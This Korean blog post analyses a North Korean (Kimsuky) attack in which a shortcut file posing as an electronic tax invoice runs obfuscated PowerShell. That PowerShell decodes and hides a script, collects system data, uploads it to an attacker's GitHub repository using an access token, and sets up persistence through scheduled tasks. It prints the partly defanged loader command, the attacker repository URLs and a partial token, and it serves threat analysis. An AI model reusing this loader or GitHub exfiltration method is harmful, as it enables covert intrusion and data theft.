꿈을꾸는 파랑새

오늘은 북한 해킹 단체인 김수키(Kimsuky) 에서 깃헙브 데이터 저장소를 악용한 전자세금계산서 사칭 악성코드 공격-전자세금계산서.pdf.lnk(2025.7.23)에 대해서 알아보겠습니다. 일단 우리의 주적인 북한의 해킹단체인 김수키(Kimsuky)에서 전자세금계산서.pdf.lnk 이라는 파일로 위장해서 악성코드를 배포하고 있습니다. 해당 악성코드는 기본적으로 Base64로 인코딩이 돼 있는 것이 특징입니다.

악성코드 포함된 Base64

악성코드 안에 포함된 Base64 코드
악성코드 안에 포함된 Base64 코드

StringData
{
    namestring: Type: Hangul Document
    Size: 2.84 KB
    Date modified: 10/20/2023 11:23
    relativepath: not present
    workingdir: not present
    commandlinearguments: $bas2 = \"JGFzZHF3ZT0iaCIrInQiKyJ????IrIncuIisiZ2l0Ii
    iaHVidXNlIisicm.......isibnQuYyIrIm9tIisiL0ciKyJvZ........RlbSAtUG???0aCAkZmRmIC1Gb3JjZT
    s=\";$bsts=\"ABCDEFGHIJKLMN?????WXYZabcdefghijklmnopqrstuv????wxyz0123456789+/\";$bas2=
    $bas2.TrimEnd('=');$btks=New-Object System(.)Collections(.)Generic.List[Byte];for($i=0
    $i -lt $bas2.Length;$i+=4){$yhsd=$bas2(.)Substring($i,[Math]::Min(4,$bas2(.)Length-$i))
    ;$vds=0;$yhsdLen = $yhsd(.)Length;foreach($c in $yhsd(.)ToCharArray()){$vds=($vds -shl 6) -bor $bsts.IndexOf($c);};for ($j=1(6); $j -ge 0;$j -= 8){if((($i*6)/8)+(3-$j/8) -lt (($bas2(.)L?ngth*6)/8)){$btks.Add([byte](($vds -shr $j) -band 0xFF));}}};$dcdsg1=[System.Text.E???coding]::UTF8.GetString($btks.ToArray());$cty67sx1=[System(.)IO.Path]::GetTempPath();$esiu231=\"main.ps1\";$dsvu1=Join-Path $cty67sx1 $esi(u)231;$dcdsg1|Out-File -FileP(a)th $dsvu1;powershell -wi?dowstyle hidden -Execut?onPolicy Bypass $dsvu1"
iconlocation: %ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe

악성코드 분석

1.$bas2 및 $bsts 변수: 해당 변수들은 Base64로 인코딩된 문자열과 Base64 문자 포함 실행을 하면 -shl, -bor, -shr, -band 연산자는 Base64 문자열을 디코딩할 때 각 문자를 정수로 변환하고 나서 비트 단위로 조합하여 바이트 배열을 복원하는 데 사용
$dcdsg1:디코딩 후 이 변수에는 실행될 실제 PowerShell 스크립트가 저장
$cty67sx1 및 $dsvu1: 해당 코드 줄 등은 디코딩된 스크립트를 사용자 임시 디렉터리에 main.ps1로 저장할 경로
powershell~~:해당 명령은 main.ps1 스크립트를 숨겨진 창으로 실행하고 PowerShell의 실행 정책을 우회
2. 디코딩 및 악성코드 저장
최종적으로 %TEMP%\main.ps1 에 악성 코드가 저장
3.main.ps1 실행
-WindowStyle Hidden: 사용자에게 창을 띄우지 않음
-ExecutionPolicy Bypass: 로컬 정책 무시
$dsvu1: 저장된 스크립트 경로
사용자 몰래 악의적인 만들어진 Powershell 코드 실행 목적

CyberChef 로 Base64 디코딩
CyberChef 로 Base64 디코딩

4. 사용자 시스템 정보 수집
$env:AppData,$env:TEMP 등 환경 변수 이용
GitHub 개인 액세스 토큰(PAT)을 이용을 해서 스크립트가 파일을 다운로드 하고 잠재적으로 공격자의 저장소에 데이터를 업
수집된 파일 내용 (base64 인코딩됨) 진행
토큰은 탐지를 추가로 회피하고자 분할 처리 됨
5. 텍스트 파일 수집 및 변조
로컬에 있는 .txt 파일들을 읽음
6.지속성(Persistence) 확보
이름:BitLocker MDM policy Refresh+무작위 GUID
숨김 옵션:-Hidden
실행 주기: 5분마다
시스템이 부팅되거나 일정 주기로 자동 재실행 되게 설정이 됨
7. 흔적 제거
main.ps1,temporary.ps1,real.txt,first.txt 등 삭제
예약 작업은 필요 시 제거

main.ps1 분석

난독화 된 Powershell 코드
난독화 된 Powershell 코드

1.GitHub 관련 주소 구성
실제 URL 결과:
hxxps://raw(.)githubusercontent(.)com/God0808(R)A(M0A/group_0721/main-?공격자의 GitHub 저장소로부터 악성 파일을 다운로드 받기 위한 경로
GitHub API를 사용하여 파일 업로드(PUT) 및 commit 시 사용되는 엔드포인트 GitHub를 스토리지 서버로 쓰는 C2 방식
2.인증 헤더 (Personal Access Token)
실제 GitHub Personal Access Token (PAT) 을 사용
ghp_ 접두어가 붙은 GitHub 토큰을 통해 공격자는 API 호출을 자유롭게 호출
3.페이로드 다운로드 및 실행
전자세금계산서.pdf 다운로드 및 실행
4.real(.)txt 변조 및 유출
real.txt 는 템플릿 스크립트 파일로 $upFolder 라는 플레이스홀더 문자열을 ntxBill_<timestamp`로 치환 후 Base64 인코딩
해당 과정을 통해 real(.)txt_<날짜>(.)txt 파일이 공격자의 GitHub 저장소에 업로드
5. 지속성 확보 (예약 작업 등록)
$scsde 는 예약 작업에서 실행될 PowerShell 코드 다시 GitHub에서 real(.)txt\_<timestamp>(.)txt를 받아와 temporary(.)ps1 로 저장 후 실행하고 삭
그리고 나서 MicrosoftEdgeUpdate.ps1 로 저장되면 시스템 파일처럼 보이도록 위장하는 것이 특징
30분마다 반복 실행되며 작업 이름도 합법적인 것처럼 보이도록 설정
6.2차 페이로드 실행
first.txt 는 공격자가 준비한 추가 스크립트
$upFolder 변수를 다시 바꾸고 temporary.ps1 로 저장 후 실행 한후 흔적 제거
요약
GitHub를 명령·제어(C2) 서버로 사용
PDF (전자세금계산서.pdf) 다운로드 및 실행
템플릿 스크립트(real.txt,first.txt)의 수정, 인코딩, GitHub로 유출
예약 작업 생성 (지속성 유지)
2차 페이로드(temporary.ps1) 다운로드 및 실행 후 삭제

temporary.ps1 악성코드 분석

temporary.ps1 악성코드 내용
temporary.ps1 악성코드 내용

1.AppData 하위에 Microsoft 디렉토리 구성
AppData\Microsoft 경로를 구성->일반적인 시스템 경로처럼 위장하여 사용자 의심 피함
2. 무의미한 더미 문자열들
의미 없음. 탐지 우회, 코드 길이 증가 목적이며 정적 분석 혼란 유도하기 위하면 쓸데없는 더미 데이터
3.GitHub Personal Access Token (PAT) 사용
ghp_MQYZfv(v)JP1xp(x)?(y)1kvQ0xtLlWWw(e)?1e7rR7`
GitHub API 접근을 위한 인증 토큰
4.IP 주소, 시스템 시간 파일명 생성
파일명을 다음과 같이 구성:
<IP>-<시간>-0956_info(.)txt
192(.)168(.)0(.)1-0726_1530-0956_info(.)txt 공격자가 각각의 피해자의 파일을 쉽게 확인하려는 조치

악성코드가 생성한 PDF 파일
악성코드가 생성한 PDF 파일

5. 수집 정보 작성
저장 경로::%AppData%\Microsoft\(파일명).txt
6. 시스템 부팅 시간, OS 버전, 시스템 정보 기록
스크립트에서 OS(운영 체제) 정보를 수집
스크립트는 Get-CimInstance와 Get-WmiObject cmdlet을 사용하여 OS 관련 데이터를 가져 오기
Win32_OperatingSystem이라는 WMI(Windows Management Instrumentation) 클래스를 사용하여 운영 체제의 다양한 정보를 가져오는데, 그중 LastBootUpTime 속성을 통해 마지막으로 시스템이 부팅된 시간 확인
장치 타입 구분 (Notebook,Desktop)->Note 또는 Desk 텍스트 삽입
OS 설치일, 현재 실행 중인 프로세스 목록 기록
6. GitHub API 업로드 경로 구성
GitHub 저장소 내 업로드 경로:
hxxps://api(.)github(.)com/repos/God(0)808RAMA/group_0721/conten(t)s/ntxBill_0724_0(1)10/(fileName)->업로드 시 폴더 처럼 사용이 됨
7.업로드 전 파일 Base64 인코딩
GitHub API는 Base64 인코딩

8.GitHub API에 JSON 작성 후 업로드
업로드 시 커밋 메시지와 브랜치 포함
GitHub 인증 헤더 구성 (Authorization + JSON MIME)
파일 업로드 명령 실행 (GitHub에 Base64로 업로드)
9. 실행 흔적 제거
%AppData%\Microsoft\(파일명) 삭제
Red Eyes 공격 그룹(APT37,ScarCruft)도 GitHub를 악성코드 유포지로 활용하고 있습니다.
언제나 이야기하지만, 기본적인 보안 수칙을 지키는 것을 권장하면 진짜 아는 지인에게 이메일에 첨부파일이 와도 항상 조심해야 합니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band